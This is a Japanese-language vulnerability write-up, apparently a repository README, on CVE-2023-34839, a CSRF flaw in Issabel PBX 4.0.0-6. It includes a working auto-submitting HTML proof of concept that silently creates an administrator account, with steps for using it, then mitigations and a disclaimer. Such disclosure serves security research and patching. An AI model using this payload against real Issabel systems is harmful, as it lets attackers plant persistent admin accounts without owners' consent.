
CVE-2023-34839は、広く使用されているオープンソースのUnified CommunicationsプラットフォームであるIssabel PBXバージョン4.0.0-6で発見されたクロスサイトリクエストフォージェリ(CSRF)脆弱性です。
CVE-2023-34839 は、広く使用されているオープンソースの統合コミュニケーションプラットフォーム Issabel PBX バージョン 4.0.0-6 で発見された クロスサイトリクエストフォージェリ(CSRF) 脆弱性です。この脆弱性はユーザー管理エンドポイントに存在し、認証されていないリモートの攻撃者が、現在認証されている管理者に特別に細工されたウェブページを訪問させることで、新しい管理者アカウントをサイレントに作成できるようにします。
Issabel PBX 4.0.0-6 は、ユーザー作成 エンドポイントに CSRF 保護(例:同期トークン、SameSite Cookie属性、Origin / Referer ヘッダー検証)を実装していません。
POST /index.php?menu=userlist&action=new
アプリケーションは認証にセッションCookieのみに依存し、状態変更リクエストの検証を行わないため、任意のオリジンから送信された偽造POSTリクエストは、ログイン済み管理者セッションの全権限で受け入れられ処理されます。
根本原因: 状態変更を行う管理エンドポイントにおけるCSRFトークン検証の欠如。
脆弱性クラス: CWE-352 — クロスサイトリクエストフォージェリ(CSRF)
| ソフトウェア | バージョン | ステータス |
|---|---|---|
| Issabel PBX | 4.0.0-6 | 脆弱 ✔ |
攻撃者は以下の大まかな手順でこの脆弱性を悪用できます。
被害者には、1回のページ訪問以外の操作は必要ありません。
⚠️ 教育目的および許可されたテスト目的に限ります。
localhostを対象のIssabel PBXインスタンスのホスト名またはIPアドレスに置き換えてください。
自己署名証明書を使用したhttps://エンドポイントでテストする場合は、同じブラウザで事前にターゲットURLにアクセスし、証明書警告を受け入れてください。そうしないと、ブラウザがオリジン間フォーム送信をブロックします。
<html>
<!-- CSRF Exploit — CVE-2023-34839 -->
<body>
<form action="https://localhost/index.php?menu=userlist&action=new" method="POST">
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="name" value="CSRF" />
<input type="hidden" name="description" value="CSRF Test Account" />
<input type="hidden" name="password1" value="Test@123" />
<input type="hidden" name="password2" value="Test@123" />
<input type="hidden" name="group" value="1" /> <!-- 1 = Administrator -->
<input type="hidden" name="extension" value="" />
<input type="hidden" name="webmailuser" value="" />
<input type="hidden" name="webmaildomain" value="" />
<input type="hidden" name="webmailpassword1" value="" />
<input type="hidden" name="id_user" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
このエクスプロイトファイルは、このリポジトリにもあります:CSRF Exploit.html
Issabel PBXのWebインターフェースにアクセスし、管理者資格情報でログインします。

上記のPoC HTMLコードをコピーし、.html ファイルとして保存します。localhost を対象のIssabelインスタンスの実際のホスト名またはIPアドレスに置き換えてください。
このエクスプロイトは隠しフォームフィールドを使用して、新しいユーザー作成リクエストをアプリケーションにサイレントにPOSTします。ページが読み込まれると、埋め込まれたJavaScriptがすぐにフォームを送信し、ユーザーの目に見える操作はありません。

管理者セッションがまだアクティブな状態で、保存したHTMLファイルを同じブラウザ(新しいタブ)で開きます。フォームはページ読み込み時に自動送信されます。
Issabel PBXの ユーザー管理 パネルに戻ります。エクスプロイトページを開く以外の操作をしなくても、管理者 権限を持つ新しいユーザーアカウント(このPoCでは CSRF)が作成されています。

CVE-2023-34839の悪用に成功すると、攻撃者は以下のことが可能になります。
不正なアカウントは被害者のセッション終了後も存続するため、アカウントが発見・削除されるまで攻撃者は無期限にアクセスを維持できます。
Issabel PBXの管理者および開発者は、以下の緩和策を適用してください。
CSRF対策トークンの実装: 状態変更を行うすべてのフォームに対して、セッションに紐づいた一意で予測不可能なトークンを生成し、POSTリクエストの処理前にサーバー側で検証します。
セッションCookieに SameSite=Strict または SameSite=Lax を適用する: これにより、ブラウザがクロスサイトリクエストでCookieを送信しないように指示され、モダンブラウザでの古典的なCSRF攻撃を効果的に防ぎます。
Origin および Referer ヘッダーの検証: Origin または Referer ヘッダーが期待するアプリケーションドメインと一致しないリクエストを拒否します。
重要な操作には再認証を要求する: 新しい管理者レベルのアカウントを作成する前に、管理者に現在のパスワードの入力を求めます。
最新のセキュリティパッチを適用する: Issabelのリリースページ および 公式リポジトリ を監視し、このCVEに対応するパッチを適用します。
このリポジトリは教育目的および許可されたセキュリティ研究に厳密に限定されています。ここに記載された情報および概念実証コードは、所有権があるか、明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。所有していないシステムに対する不正な使用は違法であり、刑事訴追の対象となる可能性があります。著者は、このリポジトリに含まれる情報の誤用に対して一切の責任を負いません。
| フィールド | 値 |
|---|
| CVE ID | CVE-2023-34839 |
| 日付 | 2023年6月23日 |
| 研究者 | Sahil Ojha |
| ベンダー | Issabel |
| 製品 | Issabel PBX |
| バージョン | 4.0.0-6 |
| テスト環境 | Windows |
| メトリック | 値 |
|---|
| CVSS v3.1 ベクトル | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| 基本スコア | 8.8(高) |
| 攻撃元 | ネットワーク |
| 攻撃の複雑さ | 低 |
| 必要な権限 | なし |
| ユーザー操作 | 必要(管理者の訪問) |
| スコープ | 変更なし |
| 機密性への影響 | 高 |
| 完全性への影響 | 高 |
| 可用性への影響 | 高 |